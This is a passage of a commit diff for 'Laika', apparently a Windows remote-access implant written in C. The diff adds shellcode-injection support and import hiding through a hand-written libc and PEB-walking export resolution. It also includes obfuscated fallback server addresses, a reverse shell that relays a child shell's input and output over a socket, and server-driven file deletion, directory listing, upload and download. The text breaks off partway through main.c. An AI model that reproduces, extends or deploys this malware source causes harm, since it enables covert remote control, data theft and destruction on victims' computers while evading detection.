fix: bugs & msvcrt dependencies, add: shellcode injection, runtime imports (blank IAT)

.gitignore

@@ -1,3 +1,6 @@
 .vim
 Laika/.vs
-Laika/release
+Laika/Release
+Laika/Laika/Release
+Laika/Laika/x64
+*.bin

Laika/Laika.vcxproj

@@ -76,12 +76,19 @@
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
     <LinkIncremental>false</LinkIncremental>
     <GenerateManifest>false</GenerateManifest>
+    <RunCodeAnalysis>false</RunCodeAnalysis>
+    <EnableClangTidyCodeAnalysis>false</EnableClangTidyCodeAnalysis>
+    <ClangTidyChecks>*</ClangTidyChecks>
+    <EnableMicrosoftCodeAnalysis>false</EnableMicrosoftCodeAnalysis>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
     <LinkIncremental>true</LinkIncremental>
   </PropertyGroup>
   <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
     <LinkIncremental>false</LinkIncremental>
+    <RunCodeAnalysis>true</RunCodeAnalysis>
+    <EnableClangTidyCodeAnalysis>true</EnableClangTidyCodeAnalysis>
+    <ClangTidyChecks>*</ClangTidyChecks>
   </PropertyGroup>
   <PropertyGroup Label="Vcpkg">
     <VcpkgEnabled>false</VcpkgEnabled>
@@ -93,10 +100,12 @@
       <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
       <LanguageStandard>stdcpp20</LanguageStandard>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
@@ -109,7 +118,7 @@
       <ConformanceMode>true</ConformanceMode>
       <LanguageStandard>stdcpp20</LanguageStandard>
       <Optimization>Disabled</Optimization>
-      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
       <BufferSecurityCheck>false</BufferSecurityCheck>
       <CompileAs>CompileAsC</CompileAs>
     </ClCompile>
@@ -123,6 +132,15 @@
       <StackReserveSize>
       </StackReserveSize>
       <GenerateMapFile>true</GenerateMapFile>
+      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <SectionAlignment>
+      </SectionAlignment>
+      <AddModuleNamesToAssembly>
+      </AddModuleNamesToAssembly>
+      <ForceSymbolReferences>
+      </ForceSymbolReferences>
+      <IgnoreSpecificDefaultLibraries>
+      </IgnoreSpecificDefaultLibraries>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
@@ -131,10 +149,12 @@
       <SDLCheck>true</SDLCheck>
       <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <ConformanceMode>true</ConformanceMode>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>msvcrt.lib;%(AdditionalDependencies)</AdditionalDependencies>
     </Link>
   </ItemDefinitionGroup>
   <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
@@ -147,16 +167,23 @@
       <ConformanceMode>true</ConformanceMode>
       <Optimization>Disabled</Optimization>
       <FavorSizeOrSpeed>Neither</FavorSizeOrSpeed>
+      <RuntimeLibrary>MultiThreaded</RuntimeLibrary>
     </ClCompile>
     <Link>
       <SubSystem>Console</SubSystem>
       <EnableCOMDATFolding>true</EnableCOMDATFolding>
       <OptimizeReferences>true</OptimizeReferences>
       <GenerateDebugInformation>true</GenerateDebugInformation>
+      <AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
+      <IgnoreAllDefaultLibraries>
+      </IgnoreAllDefaultLibraries>
+      <RandomizedBaseAddress>false</RandomizedBaseAddress>
+      <SectionAlignment>16</SectionAlignment>
     </Link>
   </ItemDefinitionGroup>
   <ItemGroup>
     <ClCompile Include="file_explorer.c" />
+    <ClCompile Include="libc.c" />
     <ClCompile Include="main.c" />
     <ClCompile Include="resolve_apis.c" />
     <ClCompile Include="shellcode.c" />
@@ -165,6 +192,7 @@
   <ItemGroup>
     <ClInclude Include="config.h" />
     <ClInclude Include="file_explorer.h" />
+    <ClInclude Include="libc.h" />
     <ClInclude Include="resolve_apis.h" />
     <ClInclude Include="shellcode.h" />
     <ClInclude Include="utils.h" />

Laika/Laika.vcxproj.filters

@@ -33,6 +33,9 @@
     <ClCompile Include="shellcode.c">
       <Filter>Shellcode</Filter>
     </ClCompile>
+    <ClCompile Include="libc.c">
+      <Filter>Libs</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="utils.h">
@@ -50,5 +53,8 @@
     <ClInclude Include="shellcode.h">
       <Filter>Shellcode</Filter>
     </ClInclude>
+    <ClInclude Include="libc.h">
+      <Filter>Libs</Filter>
+    </ClInclude>
   </ItemGroup>
 </Project>

Laika/config.h

@@ -1,7 +1,7 @@
 #define FALLBACK_SERVERS 1
 
 char* fallback_servers[1] = {
-	"6>736;=3638:",
+	"6>736;=3:;36",
 };
 
 int fallback_servers_ip[1] = {

Laika/file_explorer.c

@@ -1,9 +1,6 @@
 #include "file_explorer.h"
 #include "utils.h"
-
+#include "libc.h"
-int get_object_info(char* path, struct stat* fileinfo) {
-	return Api.stat(path, fileinfo);
-}
 
 int get_drives_list(char* buf) {
     DWORD drives = Api.GetLogicalDrives(); // get a bitmask of available drives
@@ -20,12 +17,30 @@ int get_drives_list(char* buf) {
     return count; // return number of drives found
 }
 
-char* get_file_list(const char* dirPath, int* numFiles) {
+char get_obj_info(const char* dirPath) {
+    char result = 'N';
+    HANDLE hFind = NULL;
     WIN32_FIND_DATA findData;
-    HANDLE hFind;
 
     WCHAR searchPath[MAX_PATH];
-    Api.mbstowcs(searchPath, dirPath, MAX_PATH);
+    mbstowcs_(searchPath, dirPath, MAX_PATH);
+
+    wcscat(searchPath, L"\\*.*");
+    hFind = Api.FindFirstFileW(searchPath, &findData);
+
+	if (hFind == INVALID_HANDLE_VALUE)
+		return result;
+	result = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 'd' : 'f';
+	Api.FindClose(hFind);
+    return result;
+}
+
+char* get_file_list(const char* dirPath, int* numFiles) {
+    WIN32_FIND_DATA findData;
+    HANDLE hFind = NULL;
+
+    WCHAR searchPath[MAX_PATH];
+    mbstowcs_(searchPath, dirPath, MAX_PATH);
 
     wcscat(searchPath, L"\\*.*");
 
@@ -36,7 +51,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
 
     // Allocate a dynamic array to store the file/folder names
     int maxFiles = BUFFER_SIZE;
-    char** fileList = (char**)Api.malloc(maxFiles * sizeof(char*));
+    char** fileList = (char**)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, maxFiles * sizeof(char*));
     int numFound = 0;
 
     do {
@@ -44,7 +59,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         WCHAR wFileName[MAX_PATH];
         wcscpy(wFileName, findData.cFileName);
         char fileName[MAX_PATH];
-        Api.wcstombs(fileName, wFileName, MAX_PATH);
+        wcstombs_(fileName, wFileName, MAX_PATH);
 
         // Ignore the "." and ".." folders
         if (strcmp(fileName, ".") == 0 || strcmp(fileName, "..") == 0) {
@@ -54,10 +69,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         // Add the file/folder name to the array
         if (numFound >= maxFiles) {
             maxFiles *= 2;
-            fileList = (char**)Api.realloc(fileList, maxFiles * sizeof(char*));
+            fileList = (char**)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, fileList, maxFiles * sizeof(char*));
         }
-        fileList[numFound] = (char*)Api.malloc(strlen(fileName) + 1);
+        fileList[numFound] = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, strlen(fileName) + 1);
-        Api.strcpy(fileList[numFound], CAESAR(fileName));
+        strcpy(fileList[numFound], CAESAR(fileName));
         numFound++;
     } while (Api.FindNextFileW(hFind, &findData) != 0);
 
@@ -68,7 +83,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
     for (int i = 0; i < numFound; i++) {
         bufferSize += strlen(fileList[i]) + 1; // add 1 for the separator
     }
-    char* fileNames = (char*)Api.malloc(bufferSize);
+    char* fileNames = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, bufferSize);
     fileNames[0] = '\0';
 
     // Concatenate the file/folder names separated by "/"
@@ -77,10 +92,10 @@ char* get_file_list(const char* dirPath, int* numFiles) {
         if (i < numFound - 1) {
             strcat(fileNames, "/");
         }
-        Api.free(fileList[i]);
+        Api.HeapFree(_crt_heap, 0, fileList[i]);
     }
 
-    Api.free(fileList);
+    Api.HeapFree(_crt_heap, 0, fileList);
 
     // Set the numFiles parameter to the number of files/folders found
     *numFiles = numFound;
@@ -90,7 +105,7 @@ char* get_file_list(const char* dirPath, int* numFiles) {
 
 BOOL delete_folder(LPCTSTR lpszDir) {
     WIN32_FIND_DATA FindFileData;
-    HANDLE hFind;
+    HANDLE hFind = NULL;
     TCHAR szDir[MAX_PATH];
     TCHAR szFileName[MAX_PATH];
 
@@ -144,13 +159,14 @@ BOOL delete_folder(LPCTSTR lpszDir) {
     return TRUE;
 }
 
-int download_file(FILE* fp, SOCKET sock) {
+int download_file(HANDLE fp, SOCKET sock) {
-    char* data = (char*)Api.malloc(BUFFER_SIZE);
+    char* data = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
-    int bytes_read, bytes_sent;
+    int bytes_read = 0;
+    int bytes_sent = 0;
 
     // Send the contents of the file through the socket
     while (1) {
-        bytes_read = Api.fread(data, 1, BUFFER_SIZE, fp);
+        Api.WriteFile(fp, data, BUFFER_SIZE, &bytes_read, NULL);
         if (bytes_read == 0) {
             break;
         }
@@ -167,15 +183,15 @@ int download_file(FILE* fp, SOCKET sock) {
                     FD_SET(sock, &write_fds);
 
                     if (Api.select(sock + 1, NULL, &write_fds, NULL, NULL) == SOCKET_ERROR) {
-                        Api.free(data);
+                        Api.HeapFree(_crt_heap, 0, data);
-                        Api.fclose(fp);
+                        Api.CloseHandle(fp);
                         Sleep_(Sleep_TIME);
                         return 0;
                     }
                 }
                 else {
-                    Api.free(data);
+                    Api.HeapFree(_crt_heap, 0, data);
-                    Api.fclose(fp);
+                    Api.CloseHandle(fp);
                     Sleep_(Sleep_TIME);
                     return 0;
                 }
@@ -187,15 +203,15 @@ int download_file(FILE* fp, SOCKET sock) {
         }
     }
 
-    Api.fclose(fp);
+    Api.CloseHandle(fp);
-    Api.free(data);
+    Api.HeapFree(_crt_heap, 0, data);
 
     return 1;
 }
 
 void upload_file(SOCKET sock, HANDLE file_handle) {
     // Receive file
-    char* buffer = (char*)Api.malloc(BUFFER_SIZE);
+    char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
     
     int num_bytes = 0;
     int total_bytes = 0;
@@ -218,7 +234,50 @@ void upload_file(SOCKET sock, HANDLE file_handle) {
     }
 
     // Close the file handle
-    Api.free(buffer);
+    Api.HeapFree(_crt_heap, 0, buffer);
 
     return;
 }
+
+char* upload_file_to_mem(SOCKET sock, size_t *total_bytes) {
+    char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
+    if (!buffer) {
+        return NULL; // Memory allocation failed
+    }
+
+    int num_bytes = 0;
+    size_t buffer_capacity = BUFFER_SIZE;
+
+    int iOptVal = 5000;
+    int iOptLen = sizeof(int);
+
+    Api.setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&iOptVal, iOptLen);
+
+    // Download the file content from the socket
+    while ((num_bytes = Api.recv(sock, buffer + *total_bytes, BUFFER_SIZE, 0)) > 0 || (num_bytes == -1 && Api.WSAGetLastError() == WSAEWOULDBLOCK)) {
+        if (num_bytes > 0) {
+            *total_bytes += num_bytes;
+            // Reallocate the buffer if necessary
+            if (*total_bytes + BUFFER_SIZE > buffer_capacity) {
+                buffer_capacity *= 2;
+                char* new_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, buffer_capacity);
+                if (!new_buffer) {
+                    Api.HeapFree(_crt_heap, 0, buffer);
+                    return NULL; // Memory reallocation failed
+                }
+                buffer = new_buffer;
+            }
+        }
+    }
+
+    buffer[*total_bytes] = '\0';
+
+    // Reallocate to the exact size of the received data
+    char* final_buffer = (char*)Api.HeapReAlloc(_crt_heap, HEAP_ZERO_MEMORY, buffer, *total_bytes);
+    if (!final_buffer) {
+        Api.HeapFree(_crt_heap, 0, buffer);
+        return NULL; // Memory reallocation failed
+    }
+
+    return final_buffer;
+}

Laika/file_explorer.h

@@ -14,9 +14,10 @@
 
 extern API Api;
 
-int get_object_info(char* path, struct stat* fileinfo);
+char get_obj_info(const char* dirPath);
 int get_drives_list(char* buf);
 BOOL delete_folder(LPCTSTR lpszDir);
 char* get_file_list(const char* dirPath, int* numFiles);
-int download_file(FILE* fp, SOCKET sock);
+int download_file(HANDLE fp, SOCKET sock);
 void upload_file(SOCKET sock, HANDLE file_handle);
+char* upload_file_to_mem(SOCKET sock, size_t *total_bytes);

Laika/libc.c

@@ -0,0 +1,216 @@
+#include "libc.h"
+#include "resolve_apis.h"
+
+size_t strlen_(char* src) {
+	size_t s = 0;
+
+	if (src == NULL)
+		return 0;
+	for (; src[s] != 0; s++);
+	return s;
+}
+
+char* strcpy_(char* dest, const char* src) {
+	size_t i = 0;
+
+	for (; src[i] != 0; i++)
+		dest[i] = src[i];
+	dest[i] = 0;
+	return dest;
+}
+
+void *memset_(void* a, int val, size_t size) {
+	if (a == NULL)
+		return NULL;
+	for (size_t i = 0; i < size; i++)
+		((char*)a)[i] = (char)val;
+	return a;
+}
+
+int strncmp_(char* a, char* b, size_t size) {
+	if (a == NULL || b == NULL)
+		return -1;
+	for (size_t i = 0; a[i] != 0 && b[i] != 0 && i < size; i++)
+		if (a[i] != b[i])
+			return a[i] - b[i];
+	return 0;
+}
+
+size_t utf8_char_length(unsigned char c) {
+    if ((c & 0x80) == 0) return 1;       // 1-byte character: 0xxxxxxx
+    if ((c & 0xE0) == 0xC0) return 2;    // 2-byte character: 110xxxxx
+    if ((c & 0xF0) == 0xE0) return 3;    // 3-byte character: 1110xxxx
+    if ((c & 0xF8) == 0xF0) return 4;    // 4-byte character: 11110xxx
+    return 0;                            // Invalid UTF-8
+}
+
+wchar_t utf8_to_wchar(const unsigned char* mbstr, size_t* length) {
+    wchar_t wc = 0;
+    size_t len = utf8_char_length(mbstr[0]);
+    *length = len;
+
+    switch (len) {
+    case 1:
+        wc = mbstr[0];
+        break;
+    case 2:
+        wc = ((mbstr[0] & 0x1F) << 6) | (mbstr[1] & 0x3F);
+        break;
+    case 3:
+        wc = ((mbstr[0] & 0x0F) << 12) | ((mbstr[1] & 0x3F) << 6) | (mbstr[2] & 0x3F);
+        break;
+    case 4:
+        wc = ((mbstr[0] & 0x07) << 18) | ((mbstr[1] & 0x3F) << 12) | ((mbstr[2] & 0x3F) << 6) | (mbstr[3] & 0x3F);
+        break;
+    default:
+        *length = 0; // Invalid UTF-8
+        break;
+    }
+    return wc;
+}
+
+size_t mbstowcs_(wchar_t* dest, const char* src, size_t n) {
+    size_t count = 0;
+    const unsigned char* mbstr = (const unsigned char*)src;
+
+    while (*mbstr != '\0' && count < n) {
+        size_t len = 0;
+        wchar_t wc = utf8_to_wchar(mbstr, &len);
+        if (len == 0)
+            return (size_t)-1;
+        if (dest != NULL)
+            dest[count] = wc;
+        mbstr += len;
+        count++;
+    }
+    if (dest != NULL && count < n)
+        dest[count] = L'\0';
+    return count;
+}
+
+size_t wchar_to_utf8(wchar_t wc, unsigned char* utf8) {
+    if (wc <= 0x7F) {
+        utf8[0] = (unsigned char)wc;
+        return 1;
+    }
+    else if (wc <= 0x7FF) {
+        utf8[0] = 0xC0 | ((wc >> 6) & 0x1F);
+        utf8[1] = 0x80 | (wc & 0x3F);
+        return 2;
+    }
+    else if (wc <= 0xFFFF) {
+        utf8[0] = 0xE0 | ((wc >> 12) & 0x0F);
+        utf8[1] = 0x80 | ((wc >> 6) & 0x3F);
+        utf8[2] = 0x80 | (wc & 0x3F);
+        return 3;
+    }
+    else if (wc <= 0x10FFFF) {
+        utf8[0] = 0xF0 | ((wc >> 18) & 0x07);
+        utf8[1] = 0x80 | ((wc >> 12) & 0x3F);
+        utf8[2] = 0x80 | ((wc >> 6) & 0x3F);
+        utf8[3] = 0x80 | (wc & 0x3F);
+        return 4;
+    }
+    return 0; // Invalid wide character
+}
+
+size_t wcstombs_(char* dest, const wchar_t* src, size_t n) {
+    size_t count = 0;
+    unsigned char utf8[4];
+
+    while (*src != L'\0' && count < n) {
+        size_t len = wchar_to_utf8(*src, utf8);
+        if (len == 0 || count + len > n)
+            return (size_t)-1;
+        if (dest != NULL) {
+            for (size_t i = 0; i < len; i++)
+                dest[count++] = (char)utf8[i];
+        }
+        else 
+            count += len;
+        src++;
+    }
+    if (dest != NULL && count < n)
+        dest[count] = '\0';
+    return count;
+}
+
+int wcscmp_(const wchar_t* s1, const wchar_t* s2) {
+    while (*s1 != L'\0' && *s2 != L'\0') {
+        if (*s1 != *s2)
+            return (*s1 < *s2) ? -1 : 1;
+        s1++;
+        s2++;
+    }
+    if (*s1 == L'\0' && *s2 == L'\0')
+        return 0;
+    else if (*s1 == L'\0')
+        return -1;
+    else
+        return 1;
+}
+
+wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle) {
+    if (!*needle)
+        return (wchar_t*)haystack;
+    while (*haystack) {
+        const wchar_t* h = haystack;
+        const wchar_t* n = needle;
+
+        while (*h && *n && (*h == *n)) {
+            h++;
+            n++;
+        }
+        if (!*n)
+            return (wchar_t*)haystack;
+        haystack++;
+    }
+    return NULL;
+}
+
+void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
+	if (hModule == NULL) {
+		return NULL;
+	}
+
+	IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
+	if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+		return NULL;
+	}
+
+	IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
+	if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
+		return NULL;
+	}
+
+	IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+	DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
+	DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
+	WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
+
+	for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+		const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
+		if (strcmp(functionName, lpProcName) == 0) {
+			DWORD funcRVA = addrRVAs[ordinals[i]];
+			void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
+			return funcPtr;
+		}
+	}
+	return NULL;
+}
+
+void* get_ntfunction(const char* func) {
+	PTEB tebPtr = GetTEB();
+
+	PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
+	PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
+	HMODULE hntdll = 0;
+	for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
+		LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
+		if (wcsstr_(module->FullDllName.Buffer, L"ntdll.dll") != NULL) {
+			hntdll = (HMODULE)(module->DllBase);
+			break;
+		}
+	}
+	return my_GetProcAddress(hntdll, func);
+}

Laika/libc.h

@@ -0,0 +1,16 @@
+#pragma once
+#include <Windows.h>
+#include <stddef.h>
+
+extern HANDLE _crt_heap;
+
+char* strcpy_(char* dest, const char* src);
+size_t strlen_(char* src);
+int strncmp_(char* a, char* b, size_t size);
+void *memset_(void* a, int val, size_t size);
+size_t mbstowcs_(wchar_t* dest, const char* src, size_t n);
+size_t wcstombs_(char* dest, const wchar_t* src, size_t n);
+int wcscmp_(const wchar_t* s1, const wchar_t* s2);
+wchar_t* wcsstr_(const wchar_t* haystack, const wchar_t* needle);
+void* my_GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
+void* get_ntfunction(const char* func);

Laika/main.c

@@ -1,30 +1,37 @@
+#include "libc.h"
+
 #include <Windows.h>
-#include <shlobj_core.h>
 #include <wininet.h>
+#include <shlobj_core.h>
 #include <stdio.h>
+
 #include "utils.h"
 #include "config.h"
 #include "resolve_apis.h"
 #include "file_explorer.h"
+
+#define SHELLCODE
+
+#ifdef SHELLCODE
 #include "shellcode.h"
+#endif
 
 HANDLE g_hChildStd_IN_Rd = NULL;
 HANDLE g_hChildStd_IN_Wr = NULL;
 HANDLE g_hChildStd_OUT_Rd = NULL;
 HANDLE g_hChildStd_OUT_Wr = NULL;
 
-extern API Api;
-
 #define BUFFER_SIZE 4096
+#define SMALL_SLEEP_TIME 50
 
 DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
 	SOCKET sock = (SOCKET)lpParameter;
-	char* buffer = (char*)Api.malloc(BUFFER_SIZE);
+	char* buffer = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
-	DWORD bytesRead;
+	DWORD bytesRead = 0;
 
 	while (1) {
 		//Read data from the socket
-		Api.memset(buffer, 0, BUFFER_SIZE);
+		memset_(buffer, 0, BUFFER_SIZE);
 		bytesRead = Api.recv(sock, buffer, BUFFER_SIZE, 0);
 		if (bytesRead > 0) {
 			Api.WriteFile(g_hChildStd_IN_Wr, CAESAR_DECRYPT(buffer), bytesRead, NULL, NULL);
@@ -34,23 +41,23 @@ DWORD WINAPI redirect_i_thread(LPVOID lpParameter) {
 			break;
 		}
 		else {
-			Sleep_(50);
+			Sleep_(SMALL_SLEEP_TIME);
 		}
 	}
 
-	Api.free(buffer);
+	Api.HeapFree(_crt_heap, 0, buffer);
 	return 0;
 }
 
 DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
 	SOCKET sock = (SOCKET)lpParameter;
-	char* buffer = (char*)Api.malloc(BUFFER_SIZE);
+	char* buffer = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
-	DWORD bytesRead;
+	DWORD bytesRead = 0;
 
 	while (1) {
 		// Read data from the child process's stdout pipe
 		if (Api.ReadFile(g_hChildStd_OUT_Rd, buffer, BUFFER_SIZE, &bytesRead, NULL)) {
-			Api.send(sock, CAESAR(buffer), bytesRead, 0);
+			Api.send(sock, CAESAR(buffer), (int)bytesRead, 0);
 			//Api.send(sock, buffer, bytesRead, 0);
 		}
 		else {
@@ -62,7 +69,7 @@ DWORD WINAPI redirect_o_thread(LPVOID lpParameter) {
 		}
 	}
 
-	Api.free(buffer);
+	Api.HeapFree(_crt_heap, 0, buffer);
 	return 0;
 }
 
@@ -76,19 +83,15 @@ DWORD WINAPI watch_process(LPVOID lpParameter) {
 	watch_process_args* args = (watch_process_args*)(lpParameter);
 
 	char buffer[1]; // buffer to hold the data
-	int n;
+	int n = 0;
 
 	while (1) {
 		n = Api.recv(args->sock, buffer, sizeof(buffer), MSG_PEEK);
 		if (n > 0) {
 			// There is data available on the socket, so the connection is still alive
 		}
-		else if (n == 0) {
-			// The connection has been closed
-			break;
-		}
 		else {
-			// An error occurred
+			// An error occurred or the connection has been closed
 			break;
 		}
 	}
@@ -107,21 +110,20 @@ void SendShellEndedSignal(SOCKET sock) {
 }
 
 int serv = -1;
-int main() {
+HANDLE _crt_heap = 0;
+int main(void) {
 	InitApis();
 
-	Message();
+	_crt_heap = Api.HeapCreate(0, 0, 0);
-
-	Tmemset memset = Api.memset;
 
 	wchar_t wtext[20];
-	Api.mbstowcs(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
+	mbstowcs_(wtext, CAESAR_DECRYPT("hri3j}j"), strlen(CAESAR_DECRYPT("hri3j}j")) + 1);//Plus null
 	LPWSTR cmd_char = wtext;
 
-	int sock;
+	int sock = 0;
 	int first = 1;
 	struct sockaddr_in server;
-	char* server_reply = (char*)Api.malloc(BUFFER_SIZE);
+	char* server_reply = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, BUFFER_SIZE);
 	server.sin_family = AF_INET;
 
 	WORD wVersionRequested = MAKEWORD(2, 2);
@@ -145,12 +147,12 @@ retry:
 	//<2F>a <20>vite qu'elle reste dans la m<>moire trop longtemps
 	//<2F>a <20>vite aussi qu'on utilise CAESAR_DECRYPT sur une ip d<>j<EFBFBD> d<>crypt<70>e
 	size_t len = strlen(fallback_servers[serv]);
-	char* Tmp = Api.malloc(len + 1);
+	char* Tmp = Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, len + 1);
-	Api.strcpy(Tmp, fallback_servers[serv]);
+	strcpy(Tmp, fallback_servers[serv]);
 
 	server.sin_addr.s_addr = Api.inet_addr(CAESAR_DECRYPT(Tmp));
 
-	Api.free(Tmp);
+	Api.HeapFree(_crt_heap, 0, Tmp);
 
 	server.sin_port = Api.htons(fallback_servers_ip[serv]);
 
@@ -173,7 +175,7 @@ retry:
 	//keep communicating with server
 	while (1)
 	{
-		Api.memset(server_reply, 0, BUFFER_SIZE);
+		memset_(server_reply, 0, BUFFER_SIZE);
 
 		//Receive a reply from the server
 		if (Api.recv(sock, server_reply, BUFFER_SIZE, 0) <= 0)
@@ -183,31 +185,31 @@ retry:
 			goto retry;
 		}
 
-		if (Api.strncmp(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
+		if (strncmp_(server_reply, "ijqdknqj", strlen("ijqdknqj")) == 0) { //del_file
-			char* path = (char*)Api.malloc(MAX_PATH);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
 
-			Api.remove(CAESAR_DECRYPT(path));
+			Api.DeleteFileA(CAESAR_DECRYPT(path));
 
-			Api.free(path);
+			Api.HeapFree(_crt_heap, 0, path);
 		}
 
-		if (Api.strncmp(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
+		if (strncmp_(server_reply, "ijqdinw", strlen("ijqdinw")) == 0) { //del_dir
-			char* path = (char*)Api.malloc(MAX_PATH);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
@@ -216,178 +218,159 @@ retry:
 
 			delete_folder(wstr);
 
-			Api.free((LPWSTR)wstr);
+			Api.HeapFree(_crt_heap, 0, (LPWSTR)wstr);
-			Api.free(path);
+			Api.HeapFree(_crt_heap, 0, path);
 		}
 
-		if (Api.strncmp(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
+		if (strncmp_(server_reply, "ljydtgodnskt", strlen("ljydtgodnskt")) == 0) { //get_obj_info
-			char* path = (char*)Api.malloc(MAX_PATH);
+			char* path = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
-			struct stat fileinfo;
 
 			//Receive a reply from the server
 			if (Api.recv(sock, path, MAX_PATH, 0) <= 0)
 			{
 				//recv failed
-				Api.free(path);
+				Api.HeapFree(_crt_heap, 0, path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
-
+			char infos = get_obj_info(CAESAR_DECRYPT(path));
-			int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo);
+			Api.HeapFree(_crt_heap, 0, path);
-			if (st != 0) {
+			if (Api.send(sock, &infos, 1, 0) < 0) {
-
-				if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) {
 				//send failed
-					Api.free(path);
 				Sleep_(Sleep_TIME);
 				goto retry;
 			}
-
-				Api.free(path);
-				continue;
 		}
 
-			time_t mtime = fileinfo.st_mtime;
+		if (strncmp_(server_reply, "ljydiwn{jx", strlen("ljydiwn{jx")) == 0) { //get_drives
-			struct tm* mtime_tm = Api.localtime(&mtime);
+			char* drives = (char*)Api.HeapAlloc(_crt_heap, HEAP_ZERO_MEMORY, MAX_PATH);
-			char mtime_str[30];
-			char sizeStr[20];
-			Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm);
-
-			// Concatenate the file size and modified time strings separated by "/"
-			Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size);
